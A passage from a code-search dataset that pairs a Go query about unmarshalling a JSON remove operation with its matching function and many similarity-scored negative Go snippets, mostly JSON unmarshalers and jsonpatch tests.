{\\n\\treturn m.typ\\n}\",\n \"func (o *WorkflowCliCommandAllOf) GetType() string {\\n\\tif o == nil || o.Type == nil {\\n\\t\\tvar ret string\\n\\t\\treturn ret\\n\\t}\\n\\treturn *o.Type\\n}\",\n \"func (expr *ExprOr) Type() types.Type {\\n\\treturn expr.X.Type()\\n}\",\n \"func (Instr) Type() sql.Type { return sql.Int64 }\",\n \"func (m *TypeproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (n *NotLikeOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (this *ObjectUnwrap) Type() value.Type {\\n\\n\\t// this is the succinct version of the above...\\n\\treturn this.Operand().Type()\\n}\",\n \"func (m *FinancialMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (p *insertPlan) Type() string {\\n\\treturn \\\"INSERT\\\"\\n}\",\n \"func (m *ResourceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (g *GreaterThanOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (typ OperationType) String() string {\\n\\tswitch typ {\\n\\tcase Query:\\n\\t\\treturn \\\"query\\\"\\n\\tcase Mutation:\\n\\t\\treturn \\\"mutation\\\"\\n\\tcase Subscription:\\n\\t\\treturn \\\"subscription\\\"\\n\\tdefault:\\n\\t\\treturn fmt.Sprintf(\\\"OperationType(%d)\\\", int(typ))\\n\\t}\\n}\",\n \"func (m *HexMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\\n\\tltype, err := b.Left.Type(env)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\trtype, err := b.Right.Type(env)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\ttyp := mergeNumericalTypes(ltype, rtype)\\n\\treturn b.Op.Type(typ), nil\\n}\",\n \"func (m *ZoneproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *StockMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (o *Function) Type() *Type {\\n\\treturn FunctionType\\n}\",\n \"func (m *ManagerMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (l *LessThanOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func GetOperatorType() OperatorType {\\n\\tswitch {\\n\\tcase IsOperatorGo():\\n\\t\\treturn OperatorTypeGo\\n\\tcase IsOperatorAnsible():\\n\\t\\treturn OperatorTypeAnsible\\n\\tcase IsOperatorHelm():\\n\\t\\treturn OperatorTypeHelm\\n\\t}\\n\\treturn OperatorTypeUnknown\\n}\",\n \"func (e REnv) Type() Type { return e.Value().Type() }\",\n \"func (m *CompetenceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (op *GenericOperation) Kind() uint8 {\\n\\t// Must be at least long enough to get the kind byte\\n\\tif len(op.hex) <= 33 {\\n\\t\\treturn opKindUnknown\\n\\t}\\n\\n\\treturn op.hex[33]\\n}\",\n \"func (c *Call) Type() Type {\\n\\treturn c.ExprType\\n}\",\n \"func (n *NullSafeEqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\\n return m.operationType\\n}\",\n \"func (m *PromotiontypeMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *BinaryOperatorSub) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\\n\\treturn querypb.Type_INT32, nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.73397994","0.7331954","0.72103316","0.70835686","0.7061754","0.6980852","0.69322","0.68823165","0.6846249","0.684079","0.68392855","0.6821877","0.67526066","0.6746585","0.674267","0.6730284","0.67165416","0.6710324","0.66475177","0.66334957","0.6620575","0.6574164","0.6569285","0.6566755","0.6531823","0.65267223","0.6524067","0.6494353","0.6476448","0.6455802","0.64514893","0.64397943","0.64392865","0.64281154","0.6419435","0.6413713","0.63886774","0.63807184","0.6375125","0.6373742","0.63721126","0.63579583","0.63417757","0.6332697","0.6328391","0.6324545","0.631497","0.62952644","0.62910163","0.62861925","0.62844765","0.6274955","0.62650305","0.62640405","0.62523085","0.6252087","0.6239459","0.62389636","0.6229541","0.62033015","0.6200374","0.61991316","0.6193402","0.61895406","0.61791986","0.6175558","0.6175285","0.61724573","0.61557966","0.61456096","0.61413467","0.6141278","0.6140642","0.61386997","0.61329275","0.61257845","0.6124157","0.6117993","0.61164016","0.6114104","0.611341","0.6112936","0.6107847","0.6092411","0.6090323","0.6079666","0.6078997","0.607785","0.6074464","0.60626715","0.6057602","0.60575134","0.6047113","0.60389787","0.603745","0.60356474","0.60354406","0.6028229","0.60229194","0.6016492"],"string":"[\n \"0.73397994\",\n \"0.7331954\",\n \"0.72103316\",\n \"0.70835686\",\n \"0.7061754\",\n \"0.6980852\",\n \"0.69322\",\n \"0.68823165\",\n \"0.6846249\",\n \"0.684079\",\n \"0.68392855\",\n \"0.6821877\",\n \"0.67526066\",\n \"0.6746585\",\n \"0.674267\",\n \"0.6730284\",\n \"0.67165416\",\n \"0.6710324\",\n \"0.66475177\",\n \"0.66334957\",\n \"0.6620575\",\n \"0.6574164\",\n \"0.6569285\",\n \"0.6566755\",\n \"0.6531823\",\n \"0.65267223\",\n \"0.6524067\",\n \"0.6494353\",\n \"0.6476448\",\n \"0.6455802\",\n \"0.64514893\",\n \"0.64397943\",\n \"0.64392865\",\n \"0.64281154\",\n \"0.6419435\",\n \"0.6413713\",\n \"0.63886774\",\n \"0.63807184\",\n \"0.6375125\",\n \"0.6373742\",\n \"0.63721126\",\n \"0.63579583\",\n \"0.63417757\",\n \"0.6332697\",\n \"0.6328391\",\n \"0.6324545\",\n \"0.631497\",\n \"0.62952644\",\n \"0.62910163\",\n \"0.62861925\",\n \"0.62844765\",\n \"0.6274955\",\n \"0.62650305\",\n \"0.62640405\",\n \"0.62523085\",\n \"0.6252087\",\n \"0.6239459\",\n \"0.62389636\",\n \"0.6229541\",\n \"0.62033015\",\n \"0.6200374\",\n \"0.61991316\",\n \"0.6193402\",\n \"0.61895406\",\n \"0.61791986\",\n \"0.6175558\",\n \"0.6175285\",\n \"0.61724573\",\n \"0.61557966\",\n \"0.61456096\",\n \"0.61413467\",\n \"0.6141278\",\n \"0.6140642\",\n \"0.61386997\",\n \"0.61329275\",\n \"0.61257845\",\n \"0.6124157\",\n \"0.6117993\",\n \"0.61164016\",\n \"0.6114104\",\n \"0.611341\",\n \"0.6112936\",\n \"0.6107847\",\n \"0.6092411\",\n \"0.6090323\",\n \"0.6079666\",\n \"0.6078997\",\n \"0.607785\",\n \"0.6074464\",\n \"0.60626715\",\n \"0.6057602\",\n \"0.60575134\",\n \"0.6047113\",\n \"0.60389787\",\n \"0.603745\",\n \"0.60356474\",\n \"0.60354406\",\n \"0.6028229\",\n \"0.60229194\",\n \"0.6016492\"\n]"},"document_score":{"kind":"string","value":"0.6549322"},"document_rank":{"kind":"string","value":"24"}}},{"rowIdx":106172,"cells":{"query":{"kind":"string","value":"UnmarshalJSON will unmarshal JSON into a remove operation"},"document":{"kind":"string","value":"func (op *OpRemove) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Field)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (v *RemoveUserData) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecode20191OPGPlus2InternalPkgModels14(&r, v)\n\treturn r.Error()\n}","func (v *RemoveSymbolFromWatchlistRequest) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(&r, v)\n\treturn r.Error()\n}","func (j *DeleteQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *DeleteQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (a *ActivityExternalUserRemoved) UnmarshalJSON(b []byte) error {\n\tvar helper activityExternalUserRemovedUnmarshalHelper\n\tif err := json.Unmarshal(b, &helper); err != nil {\n\t\treturn err\n\t}\n\ta.RemovedUser = helper.Relationships.RemovedUser.Data\n\treturn nil\n}","func (l *List) UnsetKeyJSON(json interface{}) (err error) {\n\tkey := MakeZeroValue(&IntType{})\n\n\tif err := key.Set(json); err != nil {\n\t\treturn err\n\t}\n\n\treturn l.UnsetKey(key)\n}","func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *deleteByQuery) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson390b7126DecodeGithubComChancedPicker39(&r, v)\n\treturn r.Error()\n}","func (j *UnInstallPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *Json) UnmarshalJSON(data []byte) error {\n\terr := json.Unmarshal(data, &j.data)\n\n\tj.exists = (err == nil)\n\treturn err\n}","func (v *EventPipelineDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk25(&r, v)\n\treturn r.Error()\n}","func (v *EventApplicationDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk21(&r, v)\n\treturn r.Error()\n}","func (j *InstallCancelPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (future *IotHubResourceDeleteFuture) UnmarshalJSON(body []byte) error {\n\tvar azFuture azure.Future\n\tif err := json.Unmarshal(body, &azFuture); err != nil {\n\t\treturn err\n\t}\n\tfuture.FutureAPI = &azFuture\n\tfuture.Result = future.result\n\treturn nil\n}","func (j *WorkerCreateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *EventApplicationPermissionDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk16(&r, v)\n\treturn r.Error()\n}","func (future *SubAccountDeleteFuture) UnmarshalJSON(body []byte) error {\n\tvar azFuture azure.Future\n\tif err := json.Unmarshal(body, &azFuture); err != nil {\n\t\treturn err\n\t}\n\tfuture.FutureAPI = &azFuture\n\tfuture.Result = future.result\n\treturn nil\n}","func (v *RemoveScriptToEvaluateOnNewDocumentParams) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage23(&r, v)\n\treturn r.Error()\n}","func (v *EventPipelinePermissionDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk12(&r, v)\n\treturn r.Error()\n}","func (j *UnInstallRespPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func JSONDel(conn redis.Conn, key string, path string) (res interface{}, err error) {\n\tname, args, _ := CommandBuilder(\"JSON.DEL\", key, path)\n\treturn conn.Do(name, args...)\n}","func (j *ModifyQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *PurgeQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *PurgeQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (a *RemoveScriptToEvaluateOnNewDocumentArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy RemoveScriptToEvaluateOnNewDocumentArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = RemoveScriptToEvaluateOnNewDocumentArgs(*c)\n\treturn nil\n}","func (j *ModifyQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (w *Entry) UnmarshalJSON(bb []byte) error {\n\t<>\n}","func (v *EventApplicationKeyDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk18(&r, v)\n\treturn r.Error()\n}","func (f *FeatureOperationsListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &f.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &f.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}","func (j *ProposalUpdateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func Test_jsonpatch_Remove_NonExistent_IsError(t *testing.T) {\n\tg := NewWithT(t)\n\n\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[{\"op\":\"remove\", \"path\":\"/test_key\"}]`))\n\n\torigDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\t_, err := patch1.Apply(origDoc)\n\tg.Expect(err).Should(HaveOccurred(), \"patch apply\")\n}","func (a *ActivityUserBannedFromProgram) UnmarshalJSON(b []byte) error {\n\tvar helper activityUserBannedFromProgramUnmarshalHelper\n\tif err := json.Unmarshal(b, &helper); err != nil {\n\t\treturn err\n\t}\n\ta.RemovedUser = helper.Relationships.RemovedUser.Data\n\treturn nil\n}","func (d *DeletedSecretItem) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"attributes\":\n\t\t\terr = unpopulate(val, &d.Attributes)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"contentType\":\n\t\t\terr = unpopulate(val, &d.ContentType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"deletedDate\":\n\t\t\terr = unpopulateTimeUnix(val, &d.DeletedDate)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, &d.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"managed\":\n\t\t\terr = unpopulate(val, &d.Managed)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"recoveryId\":\n\t\t\terr = unpopulate(val, &d.RecoveryID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"scheduledPurgeDate\":\n\t\t\terr = unpopulateTimeUnix(val, &d.ScheduledPurgeDate)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"tags\":\n\t\t\terr = unpopulate(val, &d.Tags)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (v *EventApplicationRepositoryDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk8(&r, v)\n\treturn r.Error()\n}","func (future *PrivateEndpointConnectionsDeleteFuture) UnmarshalJSON(body []byte) error {\n\tvar azFuture azure.Future\n\tif err := json.Unmarshal(body, &azFuture); err != nil {\n\t\treturn err\n\t}\n\tfuture.FutureAPI = &azFuture\n\tfuture.Result = future.result\n\treturn nil\n}","func (v *EventApplicationVariableDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk4(&r, v)\n\treturn r.Error()\n}","func (b *BastionSessionDeleteResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", b, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &b.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &b.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", b, err)\n\t\t}\n\t}\n\treturn nil\n}","func (v *EventPipelineParameterDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk16(&r, v)\n\treturn r.Error()\n}","func (v *RemoveSymbolFromWatchlistRequest) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(l, v)\n}","func (s *StringNotContainsAdvancedFilter) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"key\":\n\t\t\terr = unpopulate(val, \"Key\", &s.Key)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operatorType\":\n\t\t\terr = unpopulate(val, \"OperatorType\", &s.OperatorType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"values\":\n\t\t\terr = unpopulate(val, \"Values\", &s.Values)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}","func (b *T) UnmarshalJSON(p []byte) error {\n\tb.BloomFilter = new(bloom.BloomFilter)\n\treturn json.Unmarshal(p, b.BloomFilter)\n}","func (op *OpAdd) UnmarshalJSON(raw []byte) error {\n\tvar addRaw opAddRaw\n\terr := json.Unmarshal(raw, &addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}","func (TagsRemoved) Unmarshal(v []byte) (interface{}, error) {\n\te := TagsRemoved{}\n\terr := json.Unmarshal(v, &e)\n\treturn e, err\n}","func (v *EventPipelineJobDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk23(&r, v)\n\treturn r.Error()\n}","func (j *InstallCancelRespPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (p *Parser) Remove(pattern string) error {\n return p.json.Remove(pattern)\n}","func (s *StringNotInAdvancedFilter) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"key\":\n\t\t\terr = unpopulate(val, \"Key\", &s.Key)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operatorType\":\n\t\t\terr = unpopulate(val, \"OperatorType\", &s.OperatorType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"values\":\n\t\t\terr = unpopulate(val, \"Values\", &s.Values)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}","func (a *RemoveScriptToEvaluateOnLoadArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy RemoveScriptToEvaluateOnLoadArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = RemoveScriptToEvaluateOnLoadArgs(*c)\n\treturn nil\n}","func (t *TestLineUpdate) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"tags\":\n\t\t\terr = unpopulate(val, \"Tags\", &t.Tags)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}","func (ShareRemoved) Unmarshal(v []byte) (interface{}, error) {\n\te := ShareRemoved{}\n\terr := json.Unmarshal(v, &e)\n\treturn e, err\n}","func (j *QueueId) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *StopPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *bulkUpdateRequestCommandOp) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV7(&r, v)\n\treturn r.Error()\n}","func (j *Json) UnmarshalJSON(b []byte) error {\n\tr, err := loadContentWithOptions(b, Options{\n\t\tType: ContentTypeJson,\n\t\tStrNumber: true,\n\t})\n\tif r != nil {\n\t\t// Value copy.\n\t\t*j = *r\n\t}\n\treturn err\n}","func (j *Event) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *StopRespPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (a *ApplicationGatewayFirewallExclusion) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"matchVariable\":\n\t\t\terr = unpopulate(val, \"MatchVariable\", &a.MatchVariable)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"selector\":\n\t\t\terr = unpopulate(val, \"Selector\", &a.Selector)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"selectorMatchOperator\":\n\t\t\terr = unpopulate(val, \"SelectorMatchOperator\", &a.SelectorMatchOperator)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}","func (x *MemcacheDeleteResponse_DeleteStatusCode) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = MemcacheDeleteResponse_DeleteStatusCode(num)\n\treturn nil\n}","func (j *jsonNative) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *CreateQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (a *RemoveScriptToEvaluateOnNewDocumentReply) UnmarshalJSON(b []byte) error {\n\ttype Copy RemoveScriptToEvaluateOnNewDocumentReply\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = RemoveScriptToEvaluateOnNewDocumentReply(*c)\n\treturn nil\n}","func Test_jsonpatch_Remove_ObjectAndArray(t *testing.T) {\n\tg := NewWithT(t)\n\n\torigDoc := []byte(`{\n\t\t\"asd\":\"foof\",\n\t\t\"test_obj\":{\"color\":\"red\", \"model\":\"sedan\"},\n\t\t\"test_array\":[\"uno\", \"deux\", \"three\"]\n }`)\n\n\tpatch1, _ := DecodePatch([]byte(`[\n\t\t{\"op\":\"remove\", \"path\":\"/test_obj\"},\n\t\t{\"op\":\"remove\", \"path\":\"/test_array\"}\n\t]`))\n\n\texpectNewDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\tnewDoc, err := patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch apply\")\n\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n}","func (s *StringNotEndsWithAdvancedFilter) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"key\":\n\t\t\terr = unpopulate(val, \"Key\", &s.Key)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operatorType\":\n\t\t\terr = unpopulate(val, \"OperatorType\", &s.OperatorType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"values\":\n\t\t\terr = unpopulate(val, \"Values\", &s.Values)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}","func Test_jsonpatch_Remove_ObjectAndArray(t *testing.T) {\n\tg := NewWithT(t)\n\n\torigDoc := []byte(`{\n\t\t\"asd\":\"foof\",\n\t\t\"test_obj\":{\"color\":\"red\", \"model\":\"sedan\"},\n\t\t\"test_array\":[\"uno\", \"deux\", \"three\"]\n }`)\n\n\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[\n\t\t{\"op\":\"remove\", \"path\":\"/test_obj\"},\n\t\t{\"op\":\"remove\", \"path\":\"/test_array\"}\n\t]`))\n\n\texpectNewDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\tnewDoc, err := patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch apply\")\n\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n}","func (x *StationOperations) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = StationOperations(num)\n\treturn nil\n}","func (j *Segment) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func unmarshalJSON(j extv1.JSON, output *any) error {\n\tif len(j.Raw) == 0 {\n\t\treturn nil\n\t}\n\treturn json.Unmarshal(j.Raw, output)\n}","func (j *Message) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (f *Feature) UnmarshalJSON(b []byte) error {\n\tif b[0] != '\"' || b[len(b)-1] != '\"' {\n\t\treturn errors.New(\"syntax error\")\n\t}\n\n\treturn f.UnmarshalText(b[1 : len(b)-1])\n}","func (l *LiveEventActionInput) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", l, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"removeOutputsOnStop\":\n\t\t\terr = unpopulate(val, \"RemoveOutputsOnStop\", &l.RemoveOutputsOnStop)\n\t\t\tdelete(rawMsg, 